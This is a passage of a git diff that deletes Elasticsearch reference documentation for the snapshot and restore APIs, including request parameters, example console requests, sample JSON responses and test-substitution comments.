-`failed`::
-(integer)
-Number of shards that failed to be included in the snapshot.
-====
-
-`state`::
-+
---
-(string)
-The snapshot `state` can be one of the following values:
-
-.Values for `state`
-[%collapsible%open]
-====
-`IN_PROGRESS`::
-  The snapshot is currently running.
-
-`SUCCESS`::
-  The snapshot finished and all shards were stored successfully.
-
-`FAILED`::
-  The snapshot finished with an error and failed to store any data.
-
-`PARTIAL`::
-  The global cluster state was stored, but data of at least one shard was not stored successfully.
-  The <<get-snapshot-api-response-failures,`failures`>> section of the response contains more detailed information about shards
-  that were not processed correctly.
-====
---
-
-[[get-snapshot-api-example]]
-==== {api-examples-title}
-
-The following request returns information for `snapshot_2` in the `my_repository` repository.
-
-[source,console]
-----
-GET /_snapshot/my_repository/snapshot_2
-----
-
-The API returns the following response:
-
-[source,console-result]
-----
-{
-  "snapshots": [
-    {
-      "snapshot": "snapshot_2",
-      "uuid": "vdRctLCxSketdKb54xw67g",
-      "version_id": <version_id>,
-      "version": <version>,
-      "indices": [],
-      "data_streams": [],
-      "include_global_state": true,
-      "state": "SUCCESS",
-      "start_time": "2020-07-06T21:55:18.129Z",
-      "start_time_in_millis": 1593093628850,
-      "end_time": "2020-07-06T21:55:18.876Z",
-      "end_time_in_millis": 1593094752018,
-      "duration_in_millis": 0,
-      "failures": [],
-      "shards": {
-        "total": 0,
-        "failed": 0,
-        "successful": 0
-      }
-    }
-  ]
-}
-----
-// TESTRESPONSE[s/"uuid": "vdRctLCxSketdKb54xw67g"/"uuid": $body.snapshots.0.uuid/]
-// TESTRESPONSE[s/"version_id": <version_id>/"version_id": $body.snapshots.0.version_id/]
-// TESTRESPONSE[s/"version": <version>/"version": $body.snapshots.0.version/]
-// TESTRESPONSE[s/"start_time": "2020-07-06T21:55:18.129Z"/"start_time": $body.snapshots.0.start_time/]
-// TESTRESPONSE[s/"start_time_in_millis": 1593093628850/"start_time_in_millis": $body.snapshots.0.start_time_in_millis/]
-// TESTRESPONSE[s/"end_time": "2020-07-06T21:55:18.876Z"/"end_time": $body.snapshots.0.end_time/]
-// TESTRESPONSE[s/"end_time_in_millis": 1593094752018/"end_time_in_millis": $body.snapshots.0.end_time_in_millis/]
-// TESTRESPONSE[s/"duration_in_millis": 0/"duration_in_millis": $body.snapshots.0.duration_in_millis/]
diff --git a/docs/reference/snapshot-restore/apis/get-snapshot-status-api.asciidoc b/docs/reference/snapshot-restore/apis/get-snapshot-status-api.asciidoc
deleted file mode 100644
index b52bbd73c83..00000000000
--- a/docs/reference/snapshot-restore/apis/get-snapshot-status-api.asciidoc
+++ /dev/null
@@ -1,396 +0,0 @@
-[[get-snapshot-status-api]]
-=== Get snapshot status API
-++++
-<titleabbrev>Get snapshot status</titleabbrev>
-++++
-
-Retrieves a detailed description of the current state for each shard participating in the snapshot.
-
-////
-[source,console]
-----
-PUT /index_1
-
-PUT /index_1/_doc/1
-{
-  "title": "Elastic, Vol.1", "category": "Non-Fiction",
-  "author": {
-    "first_name": "Elk",
-    "last_name": "Stack"
-  }
-}
-
-PUT /index_1/_doc/2
-{
-  "title": "Elastic, Vol.2", "category": "Non-Fiction",
-  "author": {
-    "first_name": "Elk",
-    "last_name": "Stack"
-  }
-}
-
-PUT /index_1/_doc/3
-{
-  "title": "Elastic, Vol.3", "category": "Non-Fiction",
-  "author": {
-    "first_name": "Elk",
-    "last_name": "Stack"
-  }
-}
-
-PUT /index_1/_doc/4
-{
-  "title": "Elastic, Vol.4", "category": "Non-Fiction",
-  "author": {
-    "first_name": "Elk",
-    "last_name": "Stack"
-  }
-}
-
-PUT /_snapshot/my_repository
-{
-  "type": "fs",
-  "settings": {
-    "location": "my_backup_location"
-  }
-}
-
-PUT /_snapshot/my_repository/my_snapshot?wait_for_completion=true
-
-PUT _snapshot/my_repository/snapshot_2?wait_for_completion=true
-{
-  "indices": ["index_1"],
-  "ignore_unavailable": true,
-  "include_global_state": false,
-  "metadata": {
-    "taken_by": "Elastic Machine",
-    "taken_because": "backup testing"
-  }
-}
-----
-// TESTSETUP
-////
-
-[source,console]
-----
-GET /_snapshot/my_repository/my_snapshot/_status
-----
-
-[[get-snapshot-status-api-request]]
-==== {api-request-title}
-
-`GET /_snapshot/<repository>/<snapshot>/_status`
-
-[[get-snapshot-status-api-desc]]
-==== {api-description-title}
-
-Use the get snapshot status API to retrieve detailed information about snapshots currently running in the cluster.
-
-If you specify both the repository name and snapshot, the request retrieves detailed status information for the given snapshot, even if not currently running.
-
-include::{es-ref-dir}/snapshot-restore/monitor-snapshot-restore.asciidoc[tag=get-snapshot-status-warning]
-
-[[get-snapshot-status-api-path-params]]
-==== {api-path-parms-title}
-
-`<repository>`::
-(Required, string)
-Snapshot repository name used to limit the request. Wildcard (`*`) expressions are supported.
-+
-Use `_current` after the repository name to limit the request only to the currently running snapshots. This usage is preferred to return only snapshots that are currently running and not degrade response time.
-
-`<snapshot>`::
-(Required, string)
-Comma-separated list of snapshot names to retrieve status for.
-+
-To retrieve a list of all snapshots in a specified repository, omit this parameter.
-+
-NOTE: Wildcard (`*`) expressions are not supported for `<snapshot>`.
-
-[role="child_attributes"]
-[[get-snapshot-status-api-request-body]]
-==== {api-request-body-title}
-
-`ignore_unavailable`::
-(Optional, Boolean)
-If `false`, the request returns an error for any snapshots that are unavailable. Defaults to `false`.
-+
-If `true`, the request ignores snapshots that are unavailable, such as those that are corrupted or temporarily cannot be returned.
-
-[role="child_attributes"]
-[[get-snapshot-status-api-response-body]]
-==== {api-response-body-title}
-`repository`::
-(string)
-Name of the repository that includes the snapshot.
-
-`snapshot`::
-(string)
-Name of the snapshot.
-
-`uuid`::
-(string)
-Universally unique identifier (UUID) of the snapshot.
-
-`state`::
-+
---
-(string)
-Indicates the current snapshot state.
-
-.Values for `state`
-[%collapsible%open]
-====
-`FAILED`::
-  The snapshot finished with an error and failed to store any data.
-
-`IN_PROGRESS`::
-  The snapshot is currently running.
-
-`PARTIAL`::
-  The global cluster state was stored, but data of at least one shard was not stored successfully.
-  The <<get-snapshot-api-response-failures,`failures`>> section of the response contains more detailed information about shards
-  that were not processed correctly.
-
-`SUCCESS`::
-  The snapshot finished and all shards were stored successfully.
-====
---
-
-`include_global_state`::
-(Boolean)
-Indicates whether the current cluster state is included in the snapshot.
-
-[[get-snapshot-status-shards-stats]]
-`shards_stats`::
-(object)
-Contains a count of shards in the snapshot.
-+
-.Properties of `shards_stats`
-[%collapsible%open]
-====
-`initializing`::
-(integer)
-Number of shards that are still initializing.
-
-`started`::
-(integer)
-Number of shards that have started but not are not finalized.
-
-`finalizing`::
-(integer)
-Number of shards that are finalizing but are not done.
-
-`done`::
-(integer)
-Number of shards that initialized, started, and finalized successfully.
-
-`failed`::
-(integer)
-Number of shards that failed to be included in the snapshot.
-
-`total`::
-(integer)
-Total number of shards included in the snapshot.
-====
-
-[[get-snapshot-status-stats]]
-`stats`::
-(object)
-Provides details on the number (`file_count`) and size (`size_in_bytes`) of files included in the snapshot.
-+
-.Properties of `stats`
-[%collapsible%open]
-====
-`incremental`::
-(object)
-Number and size of files that still need to be copied as part of the incremental snapshot.
-+
-For completed snapshots, this property indicates the number and size
-of files that were not already in the repository and were copied as
-part of the incremental snapshot.
-
-`processed`::
-(object)
-Number and size of files that have already been uploaded to the snapshot. After a file is uploaded, the processed `file_count` and `size_in_bytes` are incremented in `stats`.
-
-`total`::
-(object)
-Total number and size of files that are referenced by the snapshot.
-
-[[get-snapshot-status-start-time]]
-`start_time_in_millis`::
-(long)
-The time, in milliseconds, when the snapshot creation process started.
-
-[[get-snapshot-status-total-time]]
-`time_in_millis`::
-(long)
-The total time, in milliseconds, that it took for the snapshot process
-to complete.
-====
-
-`<index>`::
-(list of objects)
-List of objects containing information about the
-indices included in the snapshot.
-+
-.Properties of `<index>`
-[%collapsible%open]
-====
-`shards_stats`::
-(object)
-See <<get-snapshot-status-shards-stats,`shards_stats`>>.
-
-`stats`::
-(object)
-See <<get-snapshot-status-stats,`stats`>>.
-
-`shards`::
-(list of objects)
-List of objects containing information about the
-shards that include the snapshot.
-+
-.Properties of `shards`
-[%collapsible%open]
-=====
-`stage`::
-(string)
-Indicates the current state of the shards that include the snapshot.
-+
-.Properties of `stage`
-[%collapsible%open]
-======
-`DONE`::
-Number of shards in the snapshot that were successfully stored in the repository.
-
-`FAILURE`::
-Number of shards in the snapshot that were not successfully stored in
-the repository.
-
-`FINALIZE`::
-Number of shards in the snapshot that are in the finalizing stage
-of being stored in the repository.
-
-`INIT`::
-Number of shards in the snapshot that are in the initializing stage
-of being stored in the repository.
-
-`STARTED`::
-Number of shards in the snapshot that are in the started stage
-of being stored in the repository.
-======
-`stats`::
-(object)
-See <<get-snapshot-status-stats,`stats`>>.
-
-`total`::
-(object)
-Total number and size of files that are referenced by the snapshot.
-
-`start_time_in_millis`::
-(long)
-See <<get-snapshot-status-start-time,`start_time_in_millis`>>.
-
-`time_in_millis`::
-(long)
-See <<get-snapshot-status-total-time,`time_in_millis`>>.
-=====
-====
-
-[[get-snapshot-status-api-example]]
-==== {api-example-title}
-
-The following request returns detailed status information for `snapshot_2` in the `my_repository` repository. This response includes additional information beyond the <<get-snapshot-api,Get snapshot API>>, such as shard status and file statistics.
-
-[source,console]
-----
-GET /_snapshot/my_repository/snapshot_2/_status
-----
-
-[source,console-result]
-----
-{
-  "snapshots" : [
-    {
-      "snapshot" : "snapshot_2",
-      "repository" : "my_repository",
-      "uuid" : "lNeQD1SvTQCqqJUMQSwmGg",
-      "state" : "SUCCESS",
-      "include_global_state" : false,
-      "shards_stats" : {
-        "initializing" : 0,
-        "started" : 0,
-        "finalizing" : 0,
-        "done" : 1,
-        "failed" : 0,
-        "total" : 1
-      },
-      "stats" : {
-        "incremental" : {
-          "file_count" : 3,
-          "size_in_bytes" : 5969
-        },
-        "total" : {
-          "file_count" : 4,
-          "size_in_bytes" : 6024
-        },
-        "start_time_in_millis" : 1594829326691,
-        "time_in_millis" : 205
-      },
-      "indices" : {
-        "index_1" : {
-          "shards_stats" : {
-            "initializing" : 0,
-            "started" : 0,
-            "finalizing" : 0,
-            "done" : 1,
-            "failed" : 0,
-            "total" : 1
-          },
-          "stats" : {
-            "incremental" : {
-              "file_count" : 3,
-              "size_in_bytes" : 5969
-            },
-            "total" : {
-              "file_count" : 4,
-              "size_in_bytes" : 6024
-            },
-            "start_time_in_millis" : 1594829326896,
-            "time_in_millis" : 0
-          },
-          "shards" : {
-            "0" : {
-              "stage" : "DONE",
-              "stats" : {
-                "incremental" : {
-                  "file_count" : 3,
-                  "size_in_bytes" : 5969
-                },
-                "total" : {
-                  "file_count" : 4,
-                  "size_in_bytes" : 6024
-                },
-                "start_time_in_millis" : 1594829326896,
-                "time_in_millis" : 0
-              }
-            }
-          }
-        }
-      }
-    }
-  ]
-}
-----
-// TESTRESPONSE[s/"uuid" : "lNeQD1SvTQCqqJUMQSwmGg"/"uuid" : $body.snapshots.0.uuid/]
-// TESTRESPONSE[s/"size_in_bytes" : 6024/"size_in_bytes" : $body.snapshots.0.stats.total.size_in_bytes/]
-// TESTRESPONSE[s/"done" : 10/"done" : $body.snapshots.0.shards_stats.done/]
-// TESTRESPONSE[s/"total" : 10/"total" : $body.snapshots.0.shards_stats.total/]
-// TESTRESPONSE[s/"start_time_in_millis" : 1594829326691/"start_time_in_millis" : $body.snapshots.0.stats.start_time_in_millis/]
-// TESTRESPONSE[s/"time_in_millis" : 205/"time_in_millis" : $body.snapshots.0.stats.time_in_millis/]
-// TESTRESPONSE[s/"time_in_millis" : 0/"time_in_millis" : $body.$_path/]
-// TESTRESPONSE[s/"file_count" : 3/"file_count" : $body.snapshots.0.stats.incremental.file_count/]
-// TESTRESPONSE[s/"file_count" : 4/"file_count" : $body.snapshots.0.stats.total.file_count/]
-// TESTRESPONSE[s/"size_in_bytes" : 5969/"size_in_bytes" : $body.snapshots.0.stats.incremental.size_in_bytes/]
-// TESTRESPONSE[s/"start_time_in_millis" : 1594829326896/"start_time_in_millis" : $body.snapshots.0.indices.index_1.stats.start_time_in_millis/]
diff --git a/docs/reference/snapshot-restore/apis/put-repo-api.asciidoc b/docs/reference/snapshot-restore/apis/put-repo-api.asciidoc
deleted file mode 100644
index 68d31f88f14..00000000000
--- a/docs/reference/snapshot-restore/apis/put-repo-api.asciidoc
+++ /dev/null
@@ -1,260 +0,0 @@
-[[put-snapshot-repo-api]]
-=== Put snapshot repository API
-++++
-<titleabbrev>Put snapshot repository</titleabbrev>
-++++
-
-Registers or updates a <<snapshots-register-repository,snapshot repository>>.
-
-[source,console]
-----
-PUT /_snapshot/my_repository
-{
-  "type": "fs",
-  "settings": {
-    "location": "my_backup_location"
-  }
-}
-----
-
-[[put-snapshot-repo-api-request]]
-==== {api-request-title}
-
-`PUT /_snapshot/<repository>`
-
-`POST /_snapshot/<repository>`
-
-[[put-snapshot-repo-api-desc]]
-==== {api-description-title}
-
-A snapshot repository must be registered before you can perform
-<<snapshot-restore,snapshot and restore>> operations. You can use the put
-snapshot repository API to register new repositories and update existing ones.
-See <<snapshots-register-repository>>.
-
-TIP: Because snapshot formats can change between major versions of
-{es}, we recommend registering a new snapshot repository for each major version.
-See <<snapshot-restore-version-compatibility>>.
-
-[[put-snapshot-repo-api-path-params]]
-==== {api-path-parms-title}
-
-`<repository>`::
-(Required, string)
-Name of the snapshot repository to register or update.
-
-[[put-snapshot-repo-api-query-params]]
-==== {api-query-parms-title}
-
-IMPORTANT: Several options for this API can be specified using a query parameter
-or a request body parameter. If both parameters are specified, only the query
-parameter is used.
-
-`master_timeout`::
-(Optional, <<time-units, time units>>) Specifies the period of time to wait for
-a connection to the master node. If no response is received before the timeout
-expires, the request fails and returns an error. Defaults to `30s`.
-
-`timeout`::
-(Optional, <<time-units, time units>>) Specifies the period of time to wait for
-a response. If no response is received before the timeout expires, the request
-fails and returns an error. Defaults to `30s`.
-
-`verify`::
-(Optional, Boolean)
-If `true`, the request verifies the repository is functional on all master and
-data nodes in the cluster. If `false`, this verification is skipped. Defaults to
-`true`.
-+
-You can manually perform this verification using the
-<<verify-snapshot-repo-api,verify snapshot repository API>>.
-
-[role="child_attributes"]
-[[put-snapshot-repo-api-request-body]]
-==== {api-request-body-title}
-
-`master_timeout`::
-(Optional, <<time-units, time units>>)
-Specifies the period of time to wait for
-a connection to the master node. If no response is received before the timeout
-expires, the request fails and returns an error. Defaults to `30s`.
-
-`timeout`::
-(Optional, <<time-units, time units>>)
-Specifies the period of time to wait for
-a response. If no response is received before the timeout expires, the request
-fails and returns an error. Defaults to `30s`.
-
-[[put-snapshot-repo-api-request-type]]
-`type`::
-+
---
-(Required, string)
-Repository type.
-
-.Valid values for `type`
-[%collapsible%open]
-====
-`fs`::
-Shared file system repository. Repositories of this type use a shared file
-system to store snapshots. This file system must accessible to all master and
-data nodes in the cluster.
-+
-IMPORTANT: To register a shared file system repository, you must mount the same
-shared filesystem to the same location on all master and data nodes. This
-location must be registered in the `path.repo` setting on all master and data
-nodes in the cluster.
-+
-See <<snapshots-filesystem-repository>>.
-
-[xpack]#`source`#::
-Source-only repository. You can use source-only repositories to create minimal,
-source-only snapshots that take up to 50% less space on disk.
-+
-Source-only snapshots are only supported if the <<mapping-source-field,`_source`
-field>> is enabled and no
-<<source-filtering,source-filtering>> is applied.
-+
-WARNING: Source-only snapshots contain stored fields and index metadata. They do
-not include index or doc values structures and are not searchable when restored.
-After restoring a source-only snapshot, you must <<docs-reindex,reindex>> the
-data into a new index.
-+
-See <<snapshots-source-only-repository>>.
-
-`url`::
-URL repository. Repositories of this type are read-only
-for the cluster. This means the cluster can retrieve or restore snapshots from
-the repository but cannot write or create snapshots in it.
-+
-You can use URL repositories as an alternative way to give a cluster read-only
-access to a shared file system (`fs`) repository.
-+
-See <<snapshots-read-only-repository>>.
-====
-
-More repository types are available through these official
-plugins:
-
-* {plugins}/repository-s3.html[repository-s3] for S3 repository support
-* {plugins}/repository-hdfs.html[repository-hdfs] for HDFS repository support in
-  Hadoop environments
-* {plugins}/repository-azure.html[repository-azure] for Azure storage
-  repositories
-* {plugins}/repository-gcs.html[repository-gcs] for Google Cloud Storage
-  repositories
---
-
-[[put-snapshot-repo-api-settings-param]]
-`settings`::
-+
---
-(Required, object)
-Contains settings for the repository.
-
-The following `settings` properties are valid for all repository types:
-
-.Properties of `settings`
-[%collapsible%open]
-====
-`chunk_size`::
-(Optional, <<byte-units,byte value>>)
-Maximum size of files in snapshots. In snapshots, files larger than this are
-broken down into chunks of this size or smaller. Defaults to `null` (unlimited
-file size).
-
-`compress`::
-(Optional, Boolean)
-If `true`, metadata files, such as index mappings and settings, are compressed
-in snapshots. Data files are not compressed. Defaults to `true`.
-
-`max_restore_bytes_per_sec`::
-(Optional, <<byte-units,byte value>>)
-Maximum snapshot restore rate per node. Defaults to unlimited. Note
-that restores are also throttled through <<recovery,recovery settings>>.
-
-`max_snapshot_bytes_per_sec`::
-(Optional, <<byte-units,byte value>>)
-Maximum snapshot creation rate per node. Defaults to `40mb` per second.
-
-`readonly`::
-(Optional, Boolean)
-If `true`, the repository is read-only. The cluster can retrieve and restore
-snapshots from the repository but not write to the repository or create
-snapshots in it.
-+
-If `false`, the cluster can write to the repository and create snapshots in it.
-Defaults to `false`.
-+
-[TIP]
-=====
-If you register the same snapshot repository with multiple clusters, only
-one cluster should have write access to the repository. Having multiple clusters
-write to the repository at the same time risks corrupting the contents of the
-repository.
-
-Only a cluster with write access can create snapshots in the repository. All
-other clusters connected to the repository should have the `readonly` parameter
-set to `true`. This means those clusters can retrieve or restore snapshots from
-the repository but not create snapshots in it.
-=====
-====
-
-Other accepted `settings` properties depend on the repository type, set using the
-<<put-snapshot-repo-api-request-type,`type`>> parameter.
-
-.Valid `settings` properties for `fs` repositories
-[%collapsible%open]
-====
-`location`::
-(Required, string)
-Location of the shared filesystem used to store and retrieve snapshots. This
-location must be registered in the `path.repo` setting on all master and data
-nodes in the cluster.
-====
-
-.Valid `settings` properties for `source` repositories
-[%collapsible%open]
-====
-`delegate_type`::
-(Optional, string)
-Delegated repository type. For valid values, see the
-<<put-snapshot-repo-api-request-type,`type` parameter>>.
-+
-`source` repositories can use `settings` properties for its delegated repository
-type. See <<snapshots-source-only-repository>>.
-
-====
-
-.Valid `settings` properties for `url` repositories
-[%collapsible%open]
-====
-`url`::
-(Required, string)
-URL location of the root of the shared filesystem repository. The following
-protocols are supported:
-
-* `file`
-* `ftp`
-* `http`
-* `https`
-* `jar`
-
-URLs using the `file` protocol must point to the location of a shared filesystem
-accessible to all master and data nodes in the cluster. This location must be
-registered in the `path.repo` setting.
-
-URLs using the `http`, `https`, or `ftp` protocols must be explicitly allowed with the
-`repositories.url.allowed_urls` setting. This setting supports wildcards in the
-place of a host, path, query, or fragment in the URL.
-====
---
-
-`verify`::
-(Optional, Boolean)
-If `true`, the request verifies the repository is functional on all master and
-data nodes in the cluster. If `false`, this verification is skipped. Defaults to
-`true`.
-+
-You can manually perform this verification using the
-<<snapshots-repository-verification,verify snapshot repository API>>.
diff --git a/docs/reference/snapshot-restore/apis/restore-snapshot-api.asciidoc b/docs/reference/snapshot-restore/apis/restore-snapshot-api.asciidoc
deleted file mode 100644
index 28072340d3d..00000000000
--- a/docs/reference/snapshot-restore/apis/restore-snapshot-api.asciidoc
+++ /dev/null
@@ -1,216 +0,0 @@
-[[restore-snapshot-api]]
-=== Restore snapshot API
-++++
-<titleabbrev>Restore snapshot</titleabbrev>
-++++
-
-Restores a <<snapshot-restore,snapshot>> of a cluster or specified data streams and indices.
-
-////
-[source,console]
-----
-PUT /_snapshot/my_repository
-{
-  "type": "fs",
-  "settings": {
-    "location": "my_backup_location"
-  }
-}
-
-PUT /_snapshot/my_repository/my_snapshot?wait_for_completion=true
-
-PUT /index_1
-
-PUT /index_2
-
-PUT /index_3
-
-PUT /index_4
-
-PUT _snapshot/my_repository/snapshot_2?wait_for_completion=true
-{
-  "indices": "index_3,index_4",
-  "ignore_unavailable": true,
-  "include_global_state": false,
-  "metadata": {
-    "taken_by": "Elastic Machine",
-    "taken_because": "backup testing"
-  }
-}
-
-POST /index_1/_close
-
-POST /index_2/_close
-
-POST /index_3/_close
-
-POST /index_4/_close
-
-----
-// TESTSETUP
-////
-
-[source,console]
-----
-POST /_snapshot/my_repository/my_snapshot/_restore
-----
-// TEST[s/_restore/_restore?wait_for_completion=true/]
-
-[[restore-snapshot-api-request]]
-==== {api-request-title}
-
-`POST /_snapshot/<repository>/<snapshot>/_restore`
-
-[[restore-snapshot-api-desc]]
-==== {api-description-title}
-
-Use the restore snapshot API to restore a snapshot of a cluster, including all data streams and indices in the snapshot. If you do not want to restore the entire snapshot, you can select specific data streams or indices to restore.
-
-NOTE: You cannot restore a data stream if a stream with the same name already
-exists.
-
-You can run the restore operation on a cluster that contains an elected
-<<master-node,master node>> and has data nodes with enough capacity to accommodate the snapshot
-you are restoring. Existing indices can only be restored if they are
-<<indices-close,closed>> and have the same number of shards as the indices in
-the snapshot. The restore operation automatically opens restored indices if
-they were closed and creates new indices if they do not exist in the cluster.
-
-If a data stream is restored, its backing indices are also restored.
-Alternatively, you can restore individual backing indices without restoring an
-entire data stream. If you restore individual backing indices, they are not
-automatically added to any existing data stream. For example, if only the
-`.ds-logs-00003` backing index is restored from a snapshot, it is not
-automatically added to the existing `logs` data stream.
-
-include::{es-ref-dir}/snapshot-restore/restore-snapshot.asciidoc[tag=index-settings-data-stream-warning]
-
-[[restore-snapshot-api-path-params]]
-==== {api-path-parms-title}
-
-`<repository>`::
-(Required, string)
-Name of the repository to restore a snapshot from.
-
-`<snapshot>`::
-(Required, string)
-Name of the snapshot to restore.
-
-[role="child-attributes"]
-[[restore-snapshot-api-request-body]]
-==== {api-request-body-title}
-
-`ignore_unavailable`::
-(Optional, Boolean)
-If `false`, the request returns an error for any data stream or index that is missing or closed. Defaults to `false`.
-+
-If `true`, the request ignores data streams and indices in `indices` that are missing or closed.
-
-`ignore_index_settings`::
-(Optional, string)
-A comma-separated list of index settings that should not be restored from a snapshot.
-
-`include_aliases`::
-(Optional, Boolean)
-If `true`, index aliases from the original snapshot are restored.
-Defaults to `true`.
-+
-If `false`, prevents aliases from being restored together with associated
-indices.
-
-[[restore-snapshot-api-include-global-state]]
-`include_global_state`::
-+
---
-(Optional, Boolean)
-If `false`, the cluster state is not restored. Defaults to `false`.
-
-If `true`, the current cluster state is included in the restore operation.
-
-The cluster state includes:
-
-* Persistent cluster settings
-* Index templates
-* Legacy index templates
-* Ingest pipelines
-* {ilm-init} lifecycle policies
---
-+
-IMPORTANT: By default, the entire restore operation will fail if one or more indices included in the snapshot do not have all primary shards available. You can change this behavior by setting <<restore-snapshot-api-partial,`partial`>> to `true`.
-
-[[restore-snapshot-api-index-settings]]
-`index_settings`::
-(Optional, string)
-A comma-separated list of settings to add or change in all restored indices. Use this parameter to override index settings when restoring snapshots.
-+
-For data streams, these index settings are applied to the restored backing
-indices.
-+
-For more information regarding all the different index-level settings
-that you can specify, see
-<<index-modules,index modules>>.
-
-`indices`::
-(Optional, string)
-A comma-separated list of data streams and indices to restore from the snapshot.
-<<multi-index,Multi-index syntax>> is supported.
-+
-By default, a restore operation includes all data streams and indices in the snapshot. If this
-argument is provided, the restore operation only includes the specified data streams and indices.
-
-[[restore-snapshot-api-partial]]
-`partial`::
-(Optional, Boolean)
-If `false`, the entire restore operation will fail if one or more indices included in the snapshot do not have all primary shards available. Defaults to `false`.
-+
-If `true`, allows restoring a partial snapshot of indices with unavailable shards. Only shards that were successfully included in the snapshot
-will be restored. All missing shards will be recreated as empty.
-
-[[restore-snapshot-api-rename-pattern]]
-`rename_pattern`::
-(Optional, string)
-Defines a rename pattern to apply to restored data streams and indices. Data streams and indices matching the rename pattern will be renamed according to
-<<restore-snapshot-api-rename-replacement,`rename_replacement`>>.
-+
-The rename pattern is applied as defined by the regular expression that
-supports referencing the original text, according to the https://docs.oracle.com/javase/8/docs/api/java/util/regex/Matcher.html#appendReplacement-java.lang.StringBuffer-java.lang.String-[`appendReplacement`] logic.
-+
-The request will fail if two or more data streams or indices will be renamed into the same name.
-+
-include::{es-ref-dir}/snapshot-restore/restore-snapshot.asciidoc[tag=rename-restored-data-stream-tag]
-
-[[restore-snapshot-api-rename-replacement]]
-`rename_replacement`::
-(Optional, string)
-Defines the rename replacement string. See <<restore-snapshot-api-rename-pattern,`rename_pattern`>> for more information.
-
-`wait_for_completion`::
-(Optional, Boolean)
-If `false`, the request returns a response when the restore operation initializes.
-Defaults to `false`.
-+
-If `true`, the request returns a response when the restore operation
-completes.
-
-[[restore-snapshot-api-example]]
-==== {api-examples-title}
-
-The following request restores `index_1` and `index_2` from `snapshot_2`. The `rename_pattern` and `rename_replacement` parameters indicate any index matching the regular expression `index_(.+)` will be renamed using the pattern `restored_index_$1` when restored.
-
-For example, `index_1` will be renamed to `restored_index_1`. `index_2` will be renamed to `restored_index_2`.
-
-[source,console]
-----
-POST /_snapshot/my_repository/snapshot_2/_restore?wait_for_completion=true
-{
-  "indices": "index_1,index_2",
-  "ignore_unavailable": true,
-  "include_global_state": false,
-  "rename_pattern": "index_(.+)",
-  "rename_replacement": "restored_index_$1",
-  "include_aliases": false
-}
-----
-
-The API returns an acknowledgement if the request succeeds. If the request encounters errors, the response indicates any issues found, such as
-open indices that are blocking the restore operation from completing.
diff --git a/docs/reference/snapshot-restore/apis/snapshot-restore-apis.asciidoc b/docs/reference/snapshot-restore/apis/snapshot-restore-apis.asciidoc
deleted file mode 100644
index cf70d3bcb2e..00000000000
--- a/docs/reference/snapshot-restore/apis/snapshot-restore-apis.asciidoc
+++ /dev/null
@@ -1,38 +0,0 @@
-[[snapshot-restore-apis]]
-== Snapshot and restore APIs
-
-You can use the following APIs to set up snapshot repositories, manage snapshot
-backups, and restore snapshots to a running cluster.
-
-For more information, see <<snapshot-restore>>.
-
-[discrete]
-[[snapshot-restore-repo-apis]]
-=== Snapshot repository management APIs
-* <<put-snapshot-repo-api,Put snapshot repository>>
-* <<verify-snapshot-repo-api,Verify snapshot repository>>
-* <<get-snapshot-repo-api,Get snapshot repository>>
-* <<delete-snapshot-repo-api,Delete snapshot repository>>
-* <<clean-up-snapshot-repo-api,Clean up snapshot repository>>
-
-[discrete]
-[[snapshot-management-apis]]
-=== Snapshot management APIs
-* <<create-snapshot-api,Create snapshot>>
-* <<clone-snapshot-api,Clone snapshot>>
-* <<get-snapshot-api,Get snapshot>>
-* <<get-snapshot-status-api,Get snapshot status>>
-* <<restore-snapshot-api,Restore snapshot>>
-* <<delete-snapshot-api,Delete snapshot>>
-
-include::put-repo-api.asciidoc[]
-include::verify-repo-api.asciidoc[]
-include::get-repo-api.asciidoc[]
-include::delete-repo-api.asciidoc[]
-include::clean-up-repo-api.asciidoc[]
-include::clone-snapshot-api.asciidoc[]
-include::create-snapshot-api.asciidoc[]
-include::get-snapshot-api.asciidoc[]
-include::get-snapshot-status-api.asciidoc[]
-include::restore-snapshot-api.asciidoc[]
-include::delete-snapshot-api.asciidoc[]
diff --git a/docs/reference/snapshot-restore/apis/verify-repo-api.asciidoc b/docs/reference/snapshot-restore/apis/verify-repo-api.asciidoc
deleted file mode 100644
index 5901aed9845..00000000000
--- a/docs/reference/snapshot-restore/apis/verify-repo-api.asciidoc
+++ /dev/null
@@ -1,94 +0,0 @@
-[[verify-snapshot-repo-api]]
-=== Verify snapshot repository API
-++++
-<titleabbrev>Verify snapshot repository</titleabbrev>
-++++
-
-Verifies that a snapshot repository is functional.
-
-////
-[source,console]
-----
-PUT /_snapshot/my_repository
-{
-  "type": "fs",
-  "settings": {
-    "location": "my_backup_location"
-  }
-}
-----
-// TESTSETUP
-////
-
-[source,console]
-----
-POST /_snapshot/my_repository/_verify
-----
-
-[[verify-snapshot-repo-api-request]]
-==== {api-request-title}
-
-`POST /_snapshot/<repository>/_verify`
-
-[[verify-snapshot-repo-api-desc]]
-==== {api-description-title}
-
-By default, <<put-snapshot-repo-api,put snapshot repository API>> requests
-verify that a snapshot is functional on all master and data nodes in the
-cluster.
-
-You can skip this verification using the put snapshot repository API's `verify`
-parameter. You can then use the verify snapshot repository API to manually
-verify the repository.
-
-If verification is successful, the verify snapshot repository API returns a list
-of nodes connected to the snapshot repository. If verification failed, the API
-returns an error.
-
-[[verify-snapshot-repo-api-path-params]]
-==== {api-path-parms-title}
-
-`<repository>`::
-(Required, string)
-Name of the snapshot repository to verify.
-
-[[verify-snapshot-repo-api-query-params]]
-==== {api-query-parms-title}
-
-`master_timeout`::
-(Optional, <<time-units, time units>>) Specifies the period of time to wait for
-a connection to the master node. If no response is received before the timeout
-expires, the request fails and returns an error. Defaults to `30s`.
-
-`timeout`::
-(Optional, <<time-units, time units>>) Specifies the period of time to wait for
-a response. If no response is received before the timeout expires, the request
-fails and returns an error. Defaults to `30s`.
-
-[role="child_attributes"]
-[[verify-snapshot-repo-api-response-body]]
-==== {api-response-body-title}
-
-`nodes`::
-(object)
-+
-.Properties of `nodes` objects
-[%collapsible%open]
-====
-`<node_id>`::
-(object)
-Contains information about a node connected to the snapshot repository.
-+
-The key is the ID of the node.
-+
-.Properties of `<node_id>`
-[%collapsible%open]
-=====
-`name`::
-(string)
-Human-readable name for the node.
-+
-You can set this name using the <<node-name,`node.name`>> property in
-`elasticsearch.yml`. Defaults to the machine's hostname.
-=====
-====
diff --git a/docs/reference/snapshot-restore/delete-snapshot.asciidoc b/docs/reference/snapshot-restore/delete-snapshot.asciidoc
deleted file mode 100644
index de79d9b41aa..00000000000
--- a/docs/reference/snapshot-restore/delete-snapshot.asciidoc
+++ /dev/null
@@ -1,47 +0,0 @@
-[[delete-snapshots]]
-== Delete a snapshot
-
-////
-[source,console]
------------------------------------
-PUT /_snapshot/my_backup
-{
-  "type": "fs",
